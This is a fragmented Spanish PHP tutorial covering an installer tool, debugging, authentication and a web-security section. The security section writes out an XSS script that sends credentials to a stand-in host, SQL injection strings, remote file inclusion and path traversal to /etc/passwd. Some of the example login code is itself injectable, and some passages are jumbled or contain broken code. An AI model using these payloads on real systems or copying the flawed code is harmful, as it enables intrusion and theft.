herramienta se denomina mkInstaller, y lo primero es instalarlo.
Es un único script, si soy administrador
lo puedo instalar en /usr/local/bin según:
wget -O /usr/local/src/mkInstaller.php \
"http://dwnl.nisu.org/dwnl/mkInstaller.php/si"
echo $'#!/bin/bash\nphp /usr/local/src/mkInstaller.php "$@"' >/usr/local/bin/mkInstaller
chmod a+x /usr/local/bin/mkInstaller
<?
mysql_connect("localhost","alxxxx","patata");
mysql_select_db("midatabase");
?>
debes poner:
<?
//!
// %es%: Nombre del servidor de base de datos
$host="localhost";
//!
$user="alxxxx";
//!
$pas="patata";
mysql_connect($host,$user,$pas);
//!
$bdd="midatabase";
mysql_select_db($bdd);
?>
La marca //! indica que la asignación de la línea siguiente necesita instalación.
mkInstaller -o out inst/mi-instalador.php f1.php f2.php -- otroarchivo.php
Te creará el archivo mi-instalador.php en el directorio inst que es un instalador de los archivos que le has
especificado. Los archivos especificados después de -- son simplemente copiados. El instalador generado
es código php, no deberías editarlo.
mkInstaller -f tree 0 directorio
añadirá su contenido a los archivos que especificaste antes. Y si necesitas que un tercer script f3.php
sea instalable, haz:
mkInstaller -f parse f3.php
mkInstaller -d 'host==user==pas==bdd==mysql'
donde host, user, pas y bdd son los nombres de tus variables, que has definido en el programa con la marca //! y
que contienen los obvios valores necesarios. Al final especificas si la bdd es mysql o pgsql.
'tp'=>array('tabla1' => array(), 'tabla2' => array())
y ejecuta de nuevo mkInstaller para regenerar el instalador.
mkInstaller
y se genera el nuevo instalador. No es necesario pasar parámetros, pues recuerda los que se le dieron, guarándolos
en el archivo _mkInstaller.php.
-f excl 1archivoquesobra.-f excl directorioquesobra==.
Ojo:
mkInstaller -o tpl es-tpl.html
No olvides definir una clase CSS de nombre ifr para que {CONT} se vea bien. Puedes jugar con algo como:
.ifr {
width: 100%;
height: 100%; border: none;
background-color: transparent;
}
El bloque {CONT}, a su vez, tiene que estar en algún contenedor (un div, por ejemplo) con suficiente espacio.
mkInstaller -o css nuevocss.css
Donde nuevocss.css es el archivo modificado. El CSS base lo puedes obtener ejecutando mkInstaller -r borrame; en el
directorio borrame podrás encontrarlo. Para ver la relación con el formulario, desde tu navegador, dile que muestre
el código fuente del formulario (fácil con Firefox).
mkInstaller -o ver http://....tuserver.../..script..de.version.php
Verás que mkInstaller dice que sabe la versión de tu proyecto. En el futuro, al ejecutar el instalador, si hay una versión más nueva,
se lo indicará al usuario. Puedes incluir la versión en tu plantilla, usando la etiqueta {VER}.
<?
//!
// %es%: Usuario administrador
$nomPrimAdmo='';
//!
// %es%: Su contraseña
$pwdPrimAdmo='';
mysql_query("insert into users (user, pass, esAdmin) ".
"values ('$nomPrimAdmo','$pwdPrimAdmo',1)");
// suponiendo que se establece la autenticación por la clave primaria de la tabla
$_SESSION['auth']=mysql_insert_id();
$_SESSION['admo']=true;
// salta a la página principal
loge('<meta http-equiv=refresh content="0;principal.html">',true);
?>
Los valores de $nomPrimAdmo y $pwdPrimAdmo serán rellenados por el instalador con los valores
suministrados por el usuario al instalar. El script se ejecutará sin escribirse en disco. Para que esto
funcione, suponiendo que el script se denomina ini.php, hay que ejecutar:
mkInstaller -o ses -f run ini.php
La opción 'ses' indica generar un instalador que inicie sesión. La función loge es una función
interna del instalador que escribe y avanza el scroll.
<?
$mg['test_env'] = array(
'es' => 'El paquete o librería %s no parece estar instalado,
consulte las instrucciones específicas de instalación de su sistema',
'en' => 'The package or library %s seems not to be installed,
please read the specific installation instructions of your system',);
$mg['test_env2'] = array(
'es' => 'El valor de %s debe ser al menos de %s,
corrija la configuración de PHP',);
foreach(array("HTML/Template/Sigma.php" => "include", "zip_open" => "funcion",
"imagecreatefromgif" => "funcion",
"upload_max_filesize" => "20M", "post_max_size" => "25M") as $pq => $nat)
switch($nat) {
case "include":
if (@include($pq) === false)
salir(sprintf(st("test_env"),$pq));
break;
case "funcion":
if (!function_exists($pq))
salir(sprintf(st("test_env"),$pq));
break;
default:
if (ini_get($pq) < $nat)
salir(sprintf(st("test_env2"),$pq,$nat));
}
?>
Después basta con hacer una vez: mkInstaller -f load test.php
El array $mg y las funciones salir y st son internas del instalador.
El array $mg permite establecer distintos mensajes en ditintos idiomas y la función st
los muestra debidamente.
tar zxvf xdebug*tgz; cd xdebug*
phpize
Si phppize no está disponible, hay que instalarlo, algo similar a
apt-get install php5-dev
o el comando equivalente en otras distibuciones de Linux (yum, yast, etc.).
./configure --enable-xdebug
make
ls -l /usr/lib/php5/
Debe ser algo como 20060613+lfs
cp modules/xdebug.so /usr/lib/php5/directorio_de_las_extensiones/
zend_extension=/usr/lib/php5/20060613+lfs/xdebug.so
xdebug.remote_enable = 1
xdebug.remote_port = 9000
xdebug.remote_host = localhost
/etc/init.d/apache restart.
Respecto a los perfiladores, el propio xdebug incorpora uno excelente.
Uno sencillo pero interesante porque viene con PECL es apd.
Se instala enseguida con pecl install apd, añadiéndolo como extensión zend, como hemos explicado antes:
zend_extension=/usr/lib/php5/20060613+lfs/apd.so
Se activa incluyendo una llamada en el código fuente:
apd.dumpdir = /tmp
apd.statement_tracing = 0apd_set_pprof_trace();. Después de ejecutar el script, el perfil se obtiene ejecutando
algo como pprofp -R /tmp/pprof......
Afortunadamente existe remedio. Están disponibles una serie de productos que permiten ocultar el codigo fuente PHP. Existen varias técnicas para realizarlo:
Obsérvese pues, que tener uno de estos compiladores/aceleradores en nuestro servidor web, vale la pena sólo por el hecho de acelerar la ejecución de php, incluso si no queremos dar el programa compilado a otros.
El código compilado por eAccelerator es a su vez un programa PHP,
con un aspecto similar a este:
<?php
return eaccelerator_load('código base64');
?>
Este modelo requiere que esté instalado a nivel de sistema. Pero puede
cargarse el módulo a nivel de aplicación. Necesitamos tener compilado
el módulo eLoader.so y que coincida con la versión de API de
PHP. Entonces podemos hacer algo como:
<?php
if (! function_exists(eaccelerator_load)) {
if (!@dl(str_repeat("/..",30)."eLoader.so"))
die("Cannot load eAccelerator");
}
if (!function_exists(eaccelerator_load))
die("eAccelerator is not working");
return eaccelerator_load('código base64');
?>
<?
if (!$_SESSION['auth']) {
if ($usua=$_GET['usua']) {
$pw=md5($_GET['pw']);
$us=mysql_fetch_assoc(mysql_query(
"select * form usuarios where usu = '$usua' and pas = '$pw'"));
if ($us) {
$_SESSION['auth']=true;
// guardar en la sessión lo que se considere oportuno
// redirecciono a la misma página, pero autenticado
header('Location: '.$_SERVER['SCRIPT_NAME']);
die();
}
}
}
if (!$_SESSION['auth'])
die('<form>Usuario: <input name=usua> '.
'contraseña: <input name=pw> <input type=submit value=Acceder>');
?>
<?
if (!$_SESSION['auth']) {
$scri=http://{$_SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_NAME']};
if ($usum=$_GET['usum']) {
$us=mysql_fetch_assoc(mysql_query(
"select * form usuarios where usu = '$usum'"));
if (!$us)
die("El usuario $us no existe");
$mail=$us['mail'];
$cod=dechex(crc32(uniqid('accc'))); // suficiente?
$_SESSION['cod']=$cod;
$_SESSION['per']=$usum;
mail($mail,"Acceso a $scri","Accede pinchando en $scri?cod=$cod");
die("<b>No cierres el navegador</b> y lee el mail enviado a $mail");
}
if ($cod=$_GET['cod']) {
// ha especificado un codigo no nulo no pueden ser los dos nulos
if ($cod == $_SESSION['cod']) {
$_SESSION['auth']=true;
unset($_SESSION['cod']);
header("Location: $scri");
die();
}
// no coincide el código
if ($_SESSION['per'])
die('Código no válido, te has equivocado de correo, ',
'coje otro correo o reinicia el proceso.');
else
die('Código no válido, ¿habías cerrado el navegador?, reintenta.');
}
}
if (!$_SESSION['auth']) {
die('<form>User: <input name=usum> '.
'<input type=submit value=Continua></form>');
?>
Si queremos que sirva para siempre, el correo debe incluir algún secreto permanente, por ejemplo
una credencial única (permanente):
<?
$mail=$us['mail'];
$cod=url_encode($us['credencial']); ?>
O bien codificados (que no cifrados) usuario y contraseña:
<?
$cod=url_encode(base64_encode(serialize(array(
'usu'=>$us['usu'],'pw'=>$us['pw'])))); ?>
¡Ojo!. Estamos enviando por correo un modo de acceso permanente, con los reiesgos de seguridad que implica. Debería informarse de ello al usuario.
<?
$quienc=$_SERVER['SSL_CLIENT_S_DN_CN'];
if (! $quienc) // esto sólo sucederá si SSLVerifyClient = optional
die();
// guarda el CN completo
$_SESSION['quienc']=$quienc;
$_SESSION['quienid']=$_SERVER['SSL_CLIENT_S_DN'].
'-&-'.$_SERVER['SSL_CLIENT_I_DN'];
$cert=$_SERVER['SSL_CLIENT_CERT'];
// extrae el email, no puede hacerse a fecha de hoy con php
$_SESSION['quienem']=exec("sacamailcert '$cert'");
// lo más importante, saca en NIF
$quien=preg_replace('/.*NIF[: ] */','',$quienc);
$_SESSION['certificado']=$cert;
$_SESSION['quien']=$quien;
$_SESSION['certificado_fin']=strtotime($_SERVER['SSL_CLIENT_V_END']);
header("Location: ".$_GET['volver']);
?>
<?
if (!$_SESSION['auth']) {
header('Location: script_con_certs?volver='.
urlencode($_SERVER['SCRIPT_NAME']));
die();
}
?>
<?
list($img)=@mysql_fetch_row(mysql_query("select img from ...."));
header("Content-type: image/jpeg");
if $(img)
echo $img;
else
echo $imagen_por_defecto; // no se deben mostrar mensajes de error
?>
<?
$tmp=imagecreatefromstring($img_cargada_de_donde_sea);
ob_start(); Imagejpeg($tmp); $img = ob_get_clean();
mysql_query("insert into imgs (img,x,y,l) values ('".
mysql_escape_string($img)."','".
ImageSX($tmp)."','".ImageSY($tmp)."','".strlen($img)."')");
?>
En el ejemplo, hemos tomado la imagen y la hemos convertido a jpeg. Después hemos almacenado la imagen, sus dimensiones y el número de bytes
en una tabla mysql. Si por ejemplo quisiéramos reducirla a 100 pixels de ancho, podemos hacer:
<?
$tmp=imagecreatefromstring($img_cargada_de_donde_sea);
$img=imagecreatetruecolor(100,$alto=100*($sy=ImageSY($tmp))/($sx=ImageSX($tmp)));
imagecopyresampled($img, $tmp, 0,0,0,0, 100,$alto, $sx, $sy);
?>
http://servidor/miscript?peli=Match+Point&anyo=2005
Este tipo de URL no es muy bien tratada por los buscadores, que no gustan de los parámetros a scripts. Una forma de mejorar la URL
es usando una habilidad del servidor web que permite extender el path del script de forma virtual:
http://servidor/miscript/Match+Point/2005
Aparentemente no es una URL válida, pero resulta serlo: aunque mirando la URL parezca que miscript es un directorio, realmente
el servidor se da cuenta de que es un script y lo ejecuta, pasando el resto de la URL en la información del servidor.
Así podemos compatibilizar las dos urls según:
<?
if ($pi==$_SERVER['PATH_INFO'])
list($dum,$pel,$anyo)=explode('/',$pi);
else {
$pel=$_GET['peli'];
$anyo=$_GET['anyo'];
} ?>
El inconveniente obvio es que los parámetros deben darse en un orden dado, a no ser que queramos complicar la URL, pero entonces justamente
no obtendremos la simplificación buscada de la URL.
<?
$h=@fopen($fil,'rb');
if ( $r=$_SERVER['HTTP_RANGE'] and preg_match('/bytes=\h*(\d+)-(\d*)[\D.*]?/i', $r, $m))
$in=$m[1];
$sz=filesize($fil);
if ($in) {
header('HTTP/1.0 206 Partial Content');
header("Content-Range: bytes $in-".($sz-1)."/$sz");
}
header('Accept-Ranges: bytes');
header('Content-type: video/x-msvideo');
header('Content-Disposition: attachment; filename="'.preg_replace('+.*/+','',$fil).'";');
header('Content-length: '.($sz-$in));
fseek($h,$in,SEEK_SET);
while (!feof($h))
echo fread($h,1000000);
Si el cliente presenta una petición de rango de bytes (que el PHP recoge en $_SERVER['HTTP_RANGE']),
tomamos en $in el primer número
del rango que es el offset de inicio de la descarga y situamos el puntero del archivo (fseek), leyendo a partir
de ahí con el clásico bucle hasta fin de fichero.
<? echo $_GET["algo"]; ?>
Supongamos que alguien nos obliga (por ingenieria social) a acceder a este script con (debidamente codificado):
?algo=<img height=0 width=0 src=borra_base_de_datos.php>
al mostrar ese HTML, el navegador intentará cargar la falsa imagen, provocando la llamada al escript borra_base_de_datos.php.
Este efecto se denomina Cross-site request forgery y sucede,
por ejemplo,
en algunos webmails, que no filtran correctamente el HTML y al abrir un correo de contenido HTML, el lector del mensaje
queda expuesto a agresiones sobre su propio correo.
Ahora supongamos que el anterior fragmento está en un formulario de entrada a una web. Si nos fuerzan
a invocarlo con:
?algo=<script>
provocará que al enviar el formulario se cree una imagen con la URL http://soymalo/malo... a la que se le pasa
como parámetro nuestro usuario y contraseña.
Este efecto se denomina Cross-site scripting.
function mala(u,p) {
var i = New Image;
  i.src='http://soymalo/malo.php?u='+u+'&p='+p;
}
getDocumentById('form').onSubmit=mala(
getDocumentById('user').value,
getDocumentById('password').value);
</script>
Algunos navegadores, como Firefox, admiten URIs autocontenidas, del tipo
data:text/html;base64,PHNjcmlwdD5hbGVydCgnaG9sYScpOzwvc2NyaXB0Pgo
que son especialmente difíciles de tratar. Si, por ejemplo, no filtramos algo como <iframe src=data... puede
inyectarse un script difícil de ver pues va en base64..
<? $user=$_GET["user"]; $pwd=$_GET["pwd"];
mysql_query("select * from usuarios where user=$user and pwd=$pwd");?>
Si ejecutamos el script invocando la URL con (debidamente codificado):
?user='admin'+or+(1=1&pwd='x')
y magic_quotes_gpc está deshabilitado, lo que se envía en la consulta es:
<?mysql_query("select * from usuarios where user='admin' or (1=1 and pwd='x');?>
Lo que provoca entrar como administrador. Este problema se conoce como Inyección SQL
y ha provocado problemas de seguridad graves.
Un intento de resolverlo es usar:
<?mysql_query("select * from usuarios where user='$user' and pwd='$pwd'");??>
pero podemos ejecutar (debidamente codificado):
?user=admin'+#&pwd=
provocando la ejecución de:
<?mysql_query("select * from usuarios where user='admin' #' and pwd=''");?>
La solución pasa por comprobar si magic_quotes_gpc está habilitado y si no lo está, limpiar la entrada
con addslashes o mysql_escape_string, tal y como ya se ha explicado.
<? eval($_GET["algo"]);?>
ejecutado con: ?algo=unlink('index.php')
<? require($_GET["algo"]);?>
ejecutado con: ?algo=http://site_malicioso/script_malicioso_php.txt
<? move_uploaded_file($_FILES['fic']['tmp_name'],$_FILES['fic']['name']); ?>
Si no te aseguras de limpiar $_FILES['fic']['name'], el usuario puede
introducirte caracteres que creen problemas, en especial podría introducir un path y
forzarte a reescribir un archivo valioso.
Supón ahora que recibes una archivo de nombre test.php. Este archivo lo colocas en un directorio
accesible desde el servidor: podrán ejecutar lo que quieran en tu servidor, gravísimo.
Por eso, los directorios donde coloque archivos que recibes no deberían ser accesibles vía web, lo que puedes conseguir habitualmente (apache)
mediante un archivo de nombre .htaccess que contendrá:
order allow,deny
Si es preciso que el contenido de esos archivos que sea accesible vía servidor, puedes, por ejemplo, renombrarlos modificando la extensión, o simplemente,
metierlos en Zips, de forma que desde el servidor se podrá descargar el Zip conteniendo cualquier cosa.
Otra solución es desactivar la ejecución de PHP, CGI, SHTML, etc. en ese directorio vía .htaccess.
deny from all
<? $fich=$_GET["fich"];
readfile($fich);?>
Sería una verdadera barabaridad, pues permitirías descargar cualquier archivo al que el servidor web
tuviera acceso, por ejemplo /etc/passwd, simplemente poniendo en la URL ?fich=/etc/passwd.
<? $fich=$_GET["fich"];
if (preg_match('+^Descargas/+',$fich) readfile($fich);?>
que se asegura de que el nombre del archivo comienza con Descargas. Pero alguien puede introducir:
?fich=Descargas/../../../etc/passwd. El mismo problema sucede con:
<? $fich=$_GET["fich"];
readfile("Descargas/$fich");?>
pues basta con introducir ?fich=../../../etc/passwd.
Lo correcto es normalizar el nombre del archivo, algo como:
<? $fich=realpath($_GET["fich"]);
$valid=getcwd()."/Descargas/";
if (substr($fich,0,strlen($valid)) == $valid) readfile($fich);?>
<? if (!$_SESSION["auth"]) error(__("No autenticado"));
haríamos algo como esto:
<? //!
$secreto="un secreto";
...
// justo al autenticar
$_SESSION["auth"]=$secreto;
...
// y al comprobar si está autenticado:
if ($_SESSION["auth"] != $secreto) error(__("No autenticado"));
?>
¿Qué se consigue con esto?. Imagina que en el mismo servidor hay otra aplicación de otra persona que
simplemente hace: $_SESSION["auth"]=true;. PHP establece (por defecto)
como ámbito (path) de la cookie de sesión todo el servidor (/). Por tanto esta persona
accede a su aplicación, luego accede a la tuya y se encuentra
ilegítimamente autenticado.
<?// ya autenticado
$q=mysql_query("select * from operaciones, usuarios_derechos where
operaciones.id=usuarios_derechos.id and usuarios_derechos.user = '$user'");
echo "<form action="script2"><select name="opera">";
while ($op=mysql_fetch_assoc($q))
echo "<option>".$op["nom"];
echo "</select>";?>
Lo que pretende es obtener la lista de operaciones a las que un usuario (ya autenticado) está autorizado a realizar y las muestra en un select.
Supongamos script2 similar a esto:
<?switch($_GET["opera"]) {
case: "borrar": unlink("tal");
....
?>
En principio cada usuario sólo obtendrá la lista de las operaciones que puede hacer, sólo podrá elegir una de ellas, sólo podrá
ejecutar una de ellas. Pero si el usuario envía directamente a script2 una operación a la que no tiene derecho, la ejecutará sin más,
algo como ?opera=destruirTodo
El fallo está en que script2 debe volver a comprobar la autorización del usuario.
Parece obvio pero genera una enorme cantidad de problemas, especialmente en programadores noveles.
La autorización no sólo afecta a acciones, también a objetos. Supongamos que en tu trabajo tienes varias cuentas de correo y un script
que te permite redirigirlas. El script hace algo como:
<?// ya autenticado Así te muestra la lista de cuentas que tienes y, seleccionada una, pasas a script2 que te permite redirigirla.
Si script2 no vuelve a comprobar que la cuenta es tuya, bastará con que llames a script2 con
$q=mysql_query("select * from cuentas where cuentas.propietario = '$user'");
echo "<form action="script2"><select name="cuenta">";
while ($cu=mysql_fetch_assoc($q))
echo "<option>".$op["mail"];
echo "</select>";?>
?cuenta=dirección_de_otro@midominio.com para que puedas redirigir la cuenta de otra persona.
Esto, que parece una trivialidad, ha pasado en cierta Universidad que muchos conocemos ...
Otro ejemplo de error típico en noveles aparece a la hora de actualizar bases de datos a partir de formularios.
Supongamos un portal en el que existen diversos usuarios con diversos roles. Algunos usuarios pueden actualizar datos,
pero sólo pueden acceder a los datos que les han sido asignados. Por ejemplo,
un aula virtual en la que hay alumnos y profesores, los profesores pueden actualizar muchas cosas, pero sólo de sus cursos y de sus alumnos.
Imaginemos éste trozo de código:
<?// ya autenticado y comprobado el rol de profesor, siendo $yo el id de profesor Mostrará la lista de alumnos del profesor y le propondrá poner faltas de asistencia. Éste puede ser el código que recoge las faltas:
$q=mysql_query("select * from alumnos where profesor=$yo");
while ($al=mysql_fetch_assoc($q))
echo "<input type=check name=\"falta_asistencia[{$al['idal']}]\" value=1> Poner falta a {$al['nom']}<br>";
<?// ya autenticado y comprobado el rol de profesor, siendo $yo el id de profesor El código tiene un primer error de seguridad en que no se trata $idx, pero el error que nos ocupa es el hecho de que al hacer
la actualización es donde debemos comprobar que el alumno $idx, pertenece al profesor $yo. Una solución puede ser:
if ($fls=$_POST['falta_asistencia'])
foreach($fls as $idx => $dum)
mysql_query("update alumnos set falta=1 where idal=$idx");
<? O más sencillo:
if ($fls=$_POST['falta_asistencia'])
foreach($fls as $idx => $dum) {
$idx=int_val($idx);
mysql_query("update alumnos,profes set alumnos.falta=1 where idal=$idx and profesor=idprof and idprof=$yo");
}
<? He propuesto el update más complejo porque a veces es necesario hacerlo así, aunque en este caso era más sencillo.
mysql_query("update alumnos set alumnos.falta=1 where idal=$idx and profesor=$yo");
pues es tratable automáticamente. Estudios han demostrado que poner un fondo complicado sólo produce dificultad al usuario. Por otra parte,
es mi opinión que vale la pena usar un diccionario, de modo que el usuario pueda estar seguro de la palabra que teclea.
otra. Hay muchos captchas buenos disponibles libremente. Uno muy sencillo es
mmCaptcha que sólo ocupa 4K, a diferencia de otros que requieren fuentes externas,
se configura por parámetros y genera imágenes como
<form action=reg.php>
<input name=usuario><input name=email>
</form>